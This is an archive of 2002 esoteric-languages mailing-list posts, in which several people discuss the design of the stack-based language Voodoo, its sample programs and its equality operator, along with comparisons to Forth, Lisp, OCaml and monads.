Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

I almost forgot.  Here are the obligatory examples.

# 99 BOTTLES OF BEER ON THE WALL
# This shows the overloading on the emit{-line} function.  It outputs num=
bers
# in formatted decimal, characters as characters, and will recursively ap=
ply
# itself to lists (like strings).
# emit-line is identical to emit but outputs a system newline when comple=
ted.
:song
 99 1
 :  # a single verse, defined as an anonymous function
  dupe 1 =3D if  # Last bottle?
   "One bottle of beer on the wall," emit-line
   "One bottle of beer," emit-line
   "Take it down, pass it around," emit-line
   "No more beer!" emit-line
   drop # We didn't consume the beer count, so get rid of it
  else
   dupe dupe 1- hide
   emit " bottles of beer on the wall," emit-line
   emit " bottles of beer," emit-line
   "Take one down, pass it around," emit-line
   emit " bottles of beer on the wall." emit-line
  then ;
 for ;

# HELLO WORLD
:hello
 "Hello, world!" emit-line ;

# FIBONACCI SEQUENCE
# Computes each value in the sequence and outputs it to the screen
# on its own line.
# The start of the sequence is passed in on the stack.
# To start with 1, use '1 fibber'
# Runs until a zero is generated, which, by my figures, will be quite a w=
hile.
:fibber
 dupe
 : dupe emit-line # Print last value
   dupe hide + # Generate next value
   ; while
 ;
(Run on the PnPVM (pencil-and-paper virtual machine) the output is 1, 2, =
3, 5,=20
8... as expected.)
(The 'while' function, incidentally, nabs a function reference off the st=
ack=20
and looks at the cell under it.  If the cell is non-zero, the function is=
=20
called.  If the cell on the top of the stack after the function is still=20
non-zero, it's called again.  And so forth.  While does not consume the c=
ell=20
it peeks at.)

-Cliff L. Biffle





From esoteric@oiva.sange.fi Sun Jun 16 01:52:48 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JMPR-000GFk-00; Sun, 16 Jun 2002 01:52:42 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 16 Jun 2002 01:52:34 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JMP2-000GFe-00; Sun, 16 Jun 2002 01:52:16 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 16 Jun 2002 01:52:09 +0300 (EEST)
Received: from h24-71-223-10.cg.shawcable.net ([24.71.223.10] helo=pd3mo3so.prod.shaw.ca)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JMOp-000GFY-00
	for lang@esoteric.sange.fi; Sun, 16 Jun 2002 01:52:08 +0300
Received: from pd3mr3so.prod.shaw.ca (pd3mr3so-ser.prod.shaw.ca [10.0.141.179])
 by l-daemon (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with ESMTP id <0GXR005CURF8Q7@l-daemon> for lang@esoteric.sange.fi; Sat,
 15 Jun 2002 16:49:56 -0600 (MDT)
Received: from pn2ml2so.prod.shaw.ca
 (pn2ml2so-qfe0.prod.shaw.ca [10.0.121.146]) by l-daemon
 (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with ESMTP id <0GXR00EG5RFHA9@l-daemon> for lang@esoteric.sange.fi; Sat,
 15 Jun 2002 16:50:05 -0600 (MDT)
Received: from localhost (h24-78-145-92.vc.shawcable.net [24.78.145.92])
 by l-daemon (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 12 2002))
 with SMTP id <0GXR00GONRFEBH@l-daemon> for lang@esoteric.sange.fi; Sat,
 15 Jun 2002 16:50:03 -0600 (MDT)
Date: Sat, 15 Jun 2002 15:56:02 +0000
From: Nikita Ayzikovsky <ayzik@shaw.ca>
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
In-reply-to: <200206151449.10254.cbiffle@safety.net>
To: lang@esoteric.sange.fi
Message-id: <20020615155602.3461cc80.ayzik@shaw.ca>
MIME-version: 1.0
X-Mailer: Sylpheed version 0.7.5 (GTK+ 1.2.10; i686-pc-linux-gnu)
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
References: <E17HRf4-000IT8-00@oiva.sange.fi>
 <200206151352.15620.cbiffle@safety.net>
 <045601c214b1$6191fec0$0200a8c0@xpakccp18hkqn8>
 <200206151449.10254.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ayzik@shaw.ca
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ayzik@shaw.ca
Precedence: bulk
X-list: misc

On Sat, 15 Jun 2002 14:49:10 -0700
"Cliff L. Biffle" <cbiffle@safety.net> wrote:

> Mentioning Forth around programmers typically gets me a look of revulsion, 
> until I walk them through how RPN works.  Then, I see the light go on.  "You 
> mean, we don't -need- parentheses?"  :-)

Hm, interesting. Of course, something like lispy (+ 1 (* 2 3)) is easily converted to
"2 3 * 1 +". But what about (foo bar (lenin marx mao)) ? In a functional language,
How would you differentiate between functions and their arguments?

Something like "marx mao 'lenin bar 'foo" seems ugly. Something like
"'marx 'mao lenin 'bar foo" is even more ugly. Hm.

Sorry if this hasn't got anything to do with the topic -- just thinking aloud.
(I don't know Forth, either)


BTW, I'm the creator of BEST and SMETANA->Smallfuck converter - my e-mail changed.

  __
<(oO)>  Cthulhu       ()  ASCII ribbon campaign
 /||\   Fhtagn!       /\    against HTML mail





From esoteric@oiva.sange.fi Sun Jun 16 01:59:05 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JMVc-000GHY-00; Sun, 16 Jun 2002 01:59:04 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 16 Jun 2002 01:58:56 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JMVO-000GHR-00; Sun, 16 Jun 2002 01:58:50 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 16 Jun 2002 01:58:42 +0300 (EEST)
Received: from artemis.ee.teiath.gr ([195.130.107.17])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JMVF-000GHL-00
	for lang@esoteric.sange.fi; Sun, 16 Jun 2002 01:58:41 +0300
Received: from xpakccp18hkqn8 (ppp7.ee.teiath.gr [195.130.107.60])
	by artemis.ee.teiath.gr (8.11.2/8.8.7) with SMTP id g5FNegO27876
	for <lang@esoteric.sange.fi>; Sun, 16 Jun 2002 02:40:42 +0300
Message-ID: <04c301c214bf$b73702e0$0200a8c0@xpakccp18hkqn8>
From: "Al. Andreou" <ee4299@ee.teiath.gr>
To: <lang@esoteric.sange.fi>
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206151352.15620.cbiffle@safety.net> <045601c214b1$6191fec0$0200a8c0@xpakccp18hkqn8> <200206151449.10254.cbiffle@safety.net>
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
Date: Sun, 16 Jun 2002 01:55:14 +0300
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-7"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by artemis.ee.teiath.gr id g5FNegO27876
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ee4299@ee.teiath.gr
Precedence: bulk
X-list: misc

> At the university I briefly founded a Society for Reverse Polish Notati=
on,
> abbreviated (of course) NPRS.  Because I'm a smartass like that.

Since... now :) #nprs on EFnet :) .

  __
.=B4  `.  Al. Andreou <ee4299@ee.teiath.gr>
| :' !  http://nemesis.ee.teiath.gr/~ee4299/
`. `=B4   As the venerable Descates once almost said,
  `-            CODITO, ERGO SUM






From esoteric@oiva.sange.fi Sun Jun 16 02:29:04 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JMyU-000GNI-00; Sun, 16 Jun 2002 02:28:54 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 16 Jun 2002 02:28:47 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JMyE-000GNC-00; Sun, 16 Jun 2002 02:28:39 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 16 Jun 2002 02:28:31 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JMy5-000GN6-00
	for lang@esoteric.sange.fi; Sun, 16 Jun 2002 02:28:29 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5FNSRs06466
	for <lang@esoteric.sange.fi>; Sat, 15 Jun 2002 16:28:27 -0700
Content-Type: text/plain;
  charset="iso-8859-1"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
Date: Sat, 15 Jun 2002 16:29:01 -0700
X-Mailer: KMail [version 1.4]
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206151449.10254.cbiffle@safety.net> <20020615155602.3461cc80.ayzik@shaw.ca>
In-Reply-To: <20020615155602.3461cc80.ayzik@shaw.ca>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206151629.01197.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Saturday 15 June 2002 08:56 am, you wrote:
> Hm, interesting. Of course, something like lispy (+ 1 (* 2 3)) is easil=
y
> converted to "2 3 * 1 +".

All the similarities between Forth and Lisp are what started this project=
=2E :-)

> But what about (foo bar (lenin marx mao)) ? In a
> functional language, How would you differentiate between functions and
> their arguments?

'{mao} {marx} lenin {bar} foo' in Voodoo, assuming they're all functions.=
 =20
Voodoo lacks Lisp's concept of symbols, currently, though I'm working on =
it. =20
Function names can be treated somewhat like symbols, using the curly brac=
es=20
above (which, like Lisp's ' convention, prevents it from attempting to=20
execute it, and instead pushes a reference to the function itself).

This is assuming I've interpreted your statement correctly.  You're apply=
ing=20
the function 'lenin' to 'marx' and 'mao', and then applying the function=20
'foo' to the symbol 'bar' and to the results of the earlier call to lenin=
,=20
yes?

> Sorry if this hasn't got anything to do with the topic -- just thinking
> aloud. (I don't know Forth, either)

Thinking aloud is good.  I'm now considering how best to deal in symbols =
in=20
Voodoo. :-)

Voodoo also does not currently have named variables, pending research int=
o how=20
monads would influence the design in that respect.

-Cliff L. Biffle





From esoteric@oiva.sange.fi Sun Jun 16 02:38:22 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JN7c-000GRp-00; Sun, 16 Jun 2002 02:38:20 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 16 Jun 2002 02:38:13 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JN7S-000GRj-00; Sun, 16 Jun 2002 02:38:10 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 16 Jun 2002 02:38:03 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JN7J-000GRd-00
	for lang@esoteric.sange.fi; Sun, 16 Jun 2002 02:38:01 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5FNbws06885
	for <lang@esoteric.sange.fi>; Sat, 15 Jun 2002 16:37:59 -0700
Content-Type: text/plain;
  charset="iso-8859-7"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] [voodoo] self-hosting languages
Date: Sat, 15 Jun 2002 16:38:40 -0700
X-Mailer: KMail [version 1.4]
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206151449.10254.cbiffle@safety.net> <04c301c214bf$b73702e0$0200a8c0@xpakccp18hkqn8>
In-Reply-To: <04c301c214bf$b73702e0$0200a8c0@xpakccp18hkqn8>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206151638.40808.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

I had mentioned earlier that Voodoo, like Forth, is largely written in it=
self. =20
I'm working on the implementation now, and have just completed the =3D=3D=
=20
operator.  If you have two lists on the stack, and run '=3D' against them=
, it=20
compares their references to see if both cells 'point' to the same list. =
 =3D=3D,=20
on the other hand, recursively compares the elements to find out if the l=
ists=20
are really -identical-.  =3D=3D can be, obviously, quite a bit slower.
So here's =3D=3D.  The first version is without comments, to demonstrate =
what a=20
wonderful write-only language I've concocted.  The second version is with=
=20
comments, if you're interested.

:=3D=3D
 type fetch type swapunder is-list swap is-list and if
  list-type fetch list-type swapunder =3D hide length fetch length swapun=
der =3D
  3 nfetch and if
   0 TRUE
   : 3hide dupe hide swap dupe fetch @ swap 4 nhide hide swap dupe fetch =
dupe
    5 nhide @ swap 5 nhide =3D=3D and ;
   while 3hide drop drop drop
  else FALSE then
 else =3D then
 ;

:=3D=3D
 # Are both operands lists?
 type fetch type swapunder is-list swap is-list and
 if
  # Yes.
  list-type fetch list-type swapunder =3D # Compare element types
  hide # Save for later.
  length fetch length swapunder =3D # Compare list lengths
  3 nfetch # Get element comparison
  and # Both are TRUE?
  if
   # Yes.  Lists are of same length and type.
   # Compare each element of lists using =3D=3D.
   # ... list1 list2
   0 # initial index
   TRUE # still could be true
   : 3hide dupe hide swap dupe fetch @ swap 4 nhide hide swap dupe fetch =
dupe
    5 nhide @ swap 5 nhide # ... list1 list2 index flag element2 element1
    =3D=3D # recurse! ... list1 list2 index flag new-flag
    and # ... list1 list2 index flag
    ; while
    3hide drop drop drop
  else
   # No.  Something about the two lists is different.
   FALSE # Comparison failed
  then
 else
  # No.
  =3D # Delegate responsibility to the standard =3D operator.
 then
 ;






From esoteric@oiva.sange.fi Sun Jun 16 17:34:45 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Jb6C-000Ii5-00; Sun, 16 Jun 2002 17:33:48 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 16 Jun 2002 17:33:41 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Jb4D-000IfO-00; Sun, 16 Jun 2002 17:31:45 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 16 Jun 2002 17:31:38 +0300 (EEST)
Received: from mailout10.sul.t-online.com ([194.25.134.21])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Jb44-000IfI-00
	for lang@esoteric.sange.fi; Sun, 16 Jun 2002 17:31:37 +0300
Received: from fwd05.sul.t-online.de 
	by mailout10.sul.t-online.com with smtp 
	id 17Jb43-0003ov-03; Sun, 16 Jun 2002 16:31:35 +0200
Received: from esoteric.holy-unicorn (340009195196-0001@[217.231.23.184]) by fwd05.sul.t-online.com
	with esmtp id 17Jb3s-05pbJQC; Sun, 16 Jun 2002 16:31:24 +0200
Received: from esoteric.holy-unicorn (localhost [127.0.0.1])
	by esoteric.holy-unicorn (8.12.1/8.11.6) with ESMTP id g5GEe6Xj036837
	for <lang@esoteric.sange.fi>; Sun, 16 Jun 2002 16:40:06 +0200 (CEST)
	(envelope-from markus@esoteric.holy-unicorn)
Received: (from markus@localhost)
	by esoteric.holy-unicorn (8.12.1/8.12.1/Submit) id g5GEe6TJ036836
	for lang@esoteric.sange.fi; Sun, 16 Jun 2002 16:40:06 +0200 (CEST)
Date: Sun, 16 Jun 2002 16:40:06 +0200
From: markus.kliegl@t-online.de (Markus Kliegl)
To: lang@esoteric.sange.fi
Subject: [lang] Re: [voodoo] self-hosting languages
Message-ID: <20020616164006.A36768@esoteric>
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206151449.10254.cbiffle@safety.net> <04c301c214bf$b73702e0$0200a8c0@xpakccp18hkqn8> <200206151638.40808.cbiffle@safety.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <200206151638.40808.cbiffle@safety.net>
User-Agent: Mutt/1.3.23i
X-Sender: 340009195196-0001@t-dialin.net
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: markus.kliegl@t-online.de
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: markus.kliegl@t-online.de
Precedence: bulk
X-list: misc

* Cliff L. Biffle <cbiffle@safety.net> [020616 02:30]:
> I had mentioned earlier that Voodoo, like Forth, is largely written in itself.  
> I'm working on the implementation now, and have just completed the == 
> operator.  If you have two lists on the stack, and run '=' against them, it 
> compares their references to see if both cells 'point' to the same list.  ==, 
> on the other hand, recursively compares the elements to find out if the lists 
> are really -identical-.  == can be, obviously, quite a bit slower.
[...]

Not too relevant, but it's usually the other way around. 'identical'
stems from 'identity', which means the things are the same thing in
memory (i.e. pointer comparison). That is == in Ocaml and eq in 
Lisp. The recursive comparing of the elements is equal in Lisp
and = in Ocaml (well, or pattern matching). RPL has the same
terminology as Lisp in these and many other respects.

Markus





From esoteric@oiva.sange.fi Sun Jun 16 19:53:14 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JdGq-000J2M-00; Sun, 16 Jun 2002 19:52:56 +0300
Received: with LISTAR (v0.129a; list misc); Sun, 16 Jun 2002 19:52:49 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JdGS-000J2G-00; Sun, 16 Jun 2002 19:52:32 +0300
Received: with LISTAR (v0.129a; list lang); Sun, 16 Jun 2002 19:52:24 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JdGJ-000J2A-00
	for lang@esoteric.sange.fi; Sun, 16 Jun 2002 19:52:23 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5GGqAs20733
	for <lang@esoteric.sange.fi>; Sun, 16 Jun 2002 09:52:10 -0700
Content-Type: text/plain;
  charset="iso-8859-1"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [voodoo] self-hosting languages
Date: Sun, 16 Jun 2002 09:52:30 -0700
X-Mailer: KMail [version 1.4]
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206151638.40808.cbiffle@safety.net> <20020616164006.A36768@esoteric>
In-Reply-To: <20020616164006.A36768@esoteric>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206160952.30551.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Sunday 16 June 2002 07:40 am, you wrote:
> Not too relevant, but it's usually the other way around. 'identical'
> stems from 'identity', which means the things are the same thing in
> memory (i.e. pointer comparison). That is =3D=3D in Ocaml and eq in
> Lisp. The recursive comparing of the elements is equal in Lisp
> and =3D in Ocaml (well, or pattern matching). RPL has the same
> terminology as Lisp in these and many other respects.

Perfectly relevant!  That's why I tend to bore y'all with non-esoteric=20
languages: if there's anywhere that someone will be able to provide me wi=
th=20
suggestions from real languages, it's here. :-)

I played with RPL only passingly, which basically means I read over the d=
ocs=20
and worked out some code but never got to actually use the calculator. =20
Suggestions from RPL are much appreciated.

Incidentally, if anyone's concerned about cluttering the (otherwise silen=
t,=20
but hey) list with non-esoteric traffic, feel free to mail me directly.

-Cliff L. Biffle







From esoteric@oiva.sange.fi Mon Jun 17 13:01:45 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17JtBS-000MED-00; Mon, 17 Jun 2002 12:52:26 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 17 Jun 2002 12:52:19 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Jt9n-000MDq-00; Mon, 17 Jun 2002 12:50:43 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 17 Jun 2002 12:50:35 +0300 (EEST)
Received: from porsta.cs.helsinki.fi ([128.214.48.124])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Jt9R-000MDh-00
	for lang@esoteric.sange.fi; Mon, 17 Jun 2002 12:50:21 +0300
Received: from melkinpaasi.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1])
	by porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g5H9oFj30237
	for <lang@esoteric.sange.fi>; Mon, 17 Jun 2002 12:50:19 +0300
Received: from localhost (pkalliok@localhost)
	by melkinpaasi.cs.Helsinki.FI (8.11.6/8.11.2) with ESMTP id g5H9o7q21779
	for <lang@esoteric.sange.fi>; Mon, 17 Jun 2002 12:50:10 +0300
X-Authentication-Warning: melkinpaasi.cs.Helsinki.FI: pkalliok owned process doing -bs
Date: Mon, 17 Jun 2002 12:50:06 +0300 (EEST)
From: Panu A Kalliokoski <pkalliok@cs.Helsinki.FI>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
In-Reply-To: <200206151629.01197.cbiffle@safety.net>
Message-ID: <Pine.LNX.4.44.0206171120300.7742-100000@melkinpaasi.cs.Helsinki.FI>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: pkalliok@cs.Helsinki.FI
Precedence: bulk
X-list: misc

On Sat, 15 Jun 2002, Cliff L. Biffle wrote:
> --the inner :...; is an anonymous function.  It is defined at runtime, and a 
> reference to it pushed onto the stack.

Does the language support variables (or any other kind of binding names to
values)? If so, does it have nested scopes? I ask this because nested
scopes bring "true flesh" to anonymous functions...

> This implementation of min is type-agnostic, because functions in Voodoo are 
> capable of being polymorphic according to the types of their arguments (C++ 
> and Java would say 'overloaded').  (The stack, incidentally, is typed.  Push 
> an int, and it will stay an int unless you convert it.)

Does it mean that _every_ data type defines operations of all data types? 
What does division do on strings? Can one define new types?

> :total   # Sums all elements of a list.
>   0 {+} 1 argwalk ;
> (Referring to a function in {curly braces} pushes a reference to it onto the 
> stack, allowing it to be manipulated like the anonymous function above.)

Apparently one cannot push a function along with an argument, except by 
forming a new anonymous function, like  : 3 {+} ;  -- but what if I want 
the argument to be determined by the outer scope: can I write a function 
that takes an argument, x, and returns a function that will multiply its 
argument by x?

> runtime.  (Functions in forth have always been represented as lists, but 
> nobody realized it. :-)

I think you'd get more nods if you called them "lists of words".

On Sun, 16 Jun 2002, Al. Andreou wrote:
> After learning about RPN- languages, I have started wondering what I
> (and the rest of the coding world) am doing with standard prefix/infix
> notation :) .

Well, some find it more intuitive. It can be translated into RPN anyway,
so why have humans do the job? (sic)

On Sat, 15 Jun 2002, Cliff L. Biffle wrote:
> Incidentally, since this language is semi-functional, can someone explain to 
> me how monads are different than global variables? :-)

Ouch. You apparently mean updatable-state monads, because monads in 
general have nothing to do with global variables. As for updatable-state 
monads, the main differences with globals are:

1) They can be first-class (so a whole environment can be saved, given as
argument, etc. 2) They can impose additional restrictions on or services
for state-changes. 3) State tracking is well-defined for them, and
side-effectless computations can be lowered out of the monad for parallel,
lazy, etc. computation. 4) They're part of the functional setup around
them, and there is no way you could fuck up order of evaluation with them.

> until I walk them through how RPN works.  Then, I see the light go on.  "You 
> mean, we don't -need- parentheses?"  :-)

I think the parenthese notation is beautiful, particularly as it lets
people specify just how many arguments they want to give to a function (in
functional languages):

map (add 1) [blahblahblah]
button#set_on_click (function () -> popup "You clicked the button")
fold_left (+) [1..10]

On Sat, 15 Jun 2002, Nikita Ayzikovsky wrote:
> Hm, interesting. Of course, something like lispy (+ 1 (* 2 3)) is easily
> converted to "2 3 * 1 +". But what about (foo bar (lenin marx mao)) ? In
> a functional language, How would you differentiate between functions and
> their arguments?

I think usually the different "words" contain anyway some information of 
how they are to be treated. In functional-like languages, functions "push" 
themselves and arguments "apply" themselves by the topmost function in the 
stack. In forth-like languages, arguments "push" themselves and functions 
take their arguments from the stack. All in all, if one develops a stack 
machine, it naturally evolves into lambda calculus' direction if one 
considers FPN (operations first), and into bytecode's (forth's) direction 
if one considers RPN.

This was the idea in my once-thought-about language of FPN, where there
were three kinds of "words": functions, arguments and direct stack
manipulators. For example, to use higher order functions, one would use a
special "take the topmost function from the stack and feed it as an
argument to the function under it" operator.

On Sat, 15 Jun 2002, Cliff L. Biffle wrote:
> '{mao} {marx} lenin {bar} foo' in Voodoo, assuming they're all functions.  

A little akin to Haskell's sections: 1+3 is 4, (1+) is the function to
increment by one, (+) is the addition function.

> the function 'lenin' to 'marx' and 'mao', and then applying the function 
> 'foo' to the symbol 'bar' and to the results of the earlier call to lenin, 
> yes?

Wow! I'm in for using ideological names as foo-words.

Panu

-- 

Am fuar -> symb <- am fesh
atehwa@iki.fi







From esoteric@oiva.sange.fi Mon Jun 17 17:47:45 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Jxmx-0000vW-00; Mon, 17 Jun 2002 17:47:27 +0300
Received: with LISTAR (v0.129a; list misc); Mon, 17 Jun 2002 17:47:19 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Jxm1-0000vH-00; Mon, 17 Jun 2002 17:46:29 +0300
Received: with LISTAR (v0.129a; list lang); Mon, 17 Jun 2002 17:46:21 +0300 (EEST)
Received: from wells.tecc.co.uk ([195.217.37.90] helo=-f)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Jxls-0000vB-00
	for lang@esoteric.sange.fi; Mon, 17 Jun 2002 17:46:20 +0300
Received: from basingstoke.tecc.co.uk (basingstoke.tecc.co.uk [195.217.37.75])
	by -f (8.9.3+Sun/8.9.3) with ESMTP id PAA00505;
	Mon, 17 Jun 2002 15:46:18 +0100 (BST)
Date: Mon, 17 Jun 2002 15:46:18 +0100 (BST)
Message-Id: <200206171446.PAA00505@-f>
From: Mike Taylor <mike@tecc.co.uk>
To: lang@esoteric.sange.fi
CC: lang@esoteric.sange.fi
In-reply-to: <045601c214b1$6191fec0$0200a8c0@xpakccp18hkqn8>
	(ee4299@ee.teiath.gr)
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206132346.34515.cbiffle@safety.net> <008b01c2137c$70ca6520$0200a8c0@xpakccp18hkqn8> <200206151352.15620.cbiffle@safety.net> <045601c214b1$6191fec0$0200a8c0@xpakccp18hkqn8>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mike@tecc.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
